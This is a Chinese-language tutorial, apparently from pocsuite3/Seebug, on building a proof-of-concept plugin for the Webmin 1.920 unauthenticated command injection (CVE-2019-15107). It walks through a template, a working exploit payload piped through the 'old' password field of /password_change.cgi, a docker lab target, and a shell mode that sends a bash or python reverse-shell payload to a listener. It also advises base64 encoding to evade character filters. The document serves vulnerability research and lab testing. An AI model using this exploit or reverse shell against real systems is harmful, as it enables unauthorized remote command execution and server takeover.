Webmin 未授权远程命令执行漏洞(CVE-2019-15107)
漏洞细节:Webmin Unauthenticated Remote Execution
Webmin 是功能强大的基于 Web 的 Unix 系统管理工具,管理员可以通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。Webmin <= 1.920
版本的 /password_change.cgi
接口存在一处未授权命令注入漏洞。
PoC 开发
基于网上公开的漏洞细节,我们可以很容易的开发出该漏洞的 PoC 插件。首先使用 --new
参数生成 PoC 模版(如果嫌属性比较多,一路回车即可):
➜ pocsuite --new
...
You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
-----
Seebug ssvid (eg, 99335) [0]: 98060 # Seebug 漏洞收录ID,如果没有则为0
PoC author (eg, Seebug) []: Seebug # PoC 的作者
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2019-08-19 # 漏洞公开日期
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98060]: # 漏洞来源地址
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-15107 # CVE 编号
Vendor name (eg, Fortinet) []: # 厂商名称
Product or component name (eg, FortiWeb) []: Webmin # 漏洞应用名称
Affected version (eg, <=6.4.0) []: <=1.920 # 漏洞影响版本
Vendor homepage (eg, https://www.fortinet.com) []: https://www.webmin.com # 厂商官网
0 Arbitrary File Read
1 Code Execution
2 Command Execution
3 Denial Of service
4 Information Disclosure
5 Login Bypass
6 Path Traversal
7 SQL Injection
8 SSRF
9 XSS
Vulnerability type, choose from above or provide (eg, 3) []: 2 # 选择漏洞类型
Authentication Required (eg, yes) [no]: no # 漏洞是否需要认证
Can we get result of command (eg, yes) [no]: yes # 是否可以获取命令执行结果
PoC name [Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)]: # PoC 名称
Filepath in which to save the poc [./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py] # 保存 PoC 的文件路径
[14:50:49] [INFO] Your poc has been saved in ./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py :)
生成的 PoC 模版如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 建议统一从 pocsuite3.api 导入
from pocsuite3.api import (
minimum_version_required, POCBase, register_poc, requests, logger,
OptString, OrderedDict,
random_str,
get_listener_ip, get_listener_port, REVERSE_PAYLOAD
)
# 限定框架版本,避免在老的框架上运行新的 PoC 插件
minimum_version_required('1.9.6')
# DemoPOC 类,继承自基类 POCBase
class DemoPOC(POCBase):
# PoC 和漏洞的属性信息
vulID = '98060'
version = '1'
author = 'Seebug'
vulDate = '2019-08-19'
createDate = '2022-07-11'
updateDate = '2022-07-11'
references = ['https://www.seebug.org/vuldb/ssvid-98060']
name = 'Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)'
appPowerLink = 'https://www.webmin.com'
appName = 'Webmin'
appVersion = '<=1.920'
vulType = 'Command Execution'
desc = 'Vulnerability description'
samples = [''] # 测试样列,就是用 PoC 测试成功的目标
install_requires = [''] # PoC 第三方模块依赖
pocDesc = 'User manual of poc'
# 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。
dork = {'zoomeye': ''}
suricata_request = ''
suricata_response = ''
# 定义额外的命令行参数,用于 attack 模式
def _options(self):
o = OrderedDict()
o['cmd'] = OptString('uname -a', description='The command to execute')
return o
# 漏洞的核心方法
def _exploit(self, param=''):
# 使用 self._check() 方法检查目标是否存活,是否是关键词蜜罐。
if not self._check(dork=''):
return False
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'a=b'
res = requests.post(self.url, headers=headers, data=payload)
logger.debug(res.text)
return res.text
# verify 模式的实现
def _verify(self):
result = {}
flag = random_str(6)
param = f'echo {flag}'
res = self._exploit(param)
if res and flag in res:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# 统一调用 self.parse_output() 返回结果
return self.parse_output(result)
# attack 模式的实现
def _attack(self):
result = {}
# self.get_option() 方法可以获取自定义的命令行参数
param = self.get_option('cmd')
res = self._exploit(param)
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo'][param] = res
# 统一调用 self.parse_output() 返回结果
return self.parse_output(result)
# shell 模式的实现
def _shell(self):
try:
self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
except Exception:
pass
# 将该 PoC 注册到框架。
register_poc(DemoPOC)
在以上 PoC 模版的基础上,结合漏洞细节,重写 _exploit()
方法,如下:
def _exploit(self, param=''):
if not self._check(dork='<title>Login to Webmin</title>'):
return False
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url}/session_login.cgi'
}
payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload)
logger.debug(res.text)
return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0]
搭建靶场
然后就是搭建 docker 靶场测试了
┌──(kali㉿kali)-[~]
└─$ docker run -it --rm -p 10000:10000 pocsuite3/cve-2019-15107
+ '[' 0 -eq 0 ']'
+ service webmin start
+ touch /var/webmin/miniserv.log
+ exec tail -f /var/webmin/miniserv.log
tail: unrecognized file system type 0x794c7630 for '/var/webmin/miniserv.log'. please report this to bug-coreutils@gnu.org. reverting to polling
...
漏洞验证
verify 模式 ok:
attack 模式获取命令行参数执行并返回结果,--options
参数可以查看 PoC 定义的额外命令行参数:
shell 模式用 bash 的反连回不来,未深究,改用 python 的就可以了。需要注意的是,由于反连 payload 存在一些特殊字符,需要结合漏洞具体情况具体分析,比如使用 base64 编码等绕过限制。
def _shell(self):
try:
- self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
+ self._exploit(REVERSE_PAYLOAD.PYTHON.format(get_listener_ip(), get_listener_port()))
except Exception:
pass
shell 模式 ok: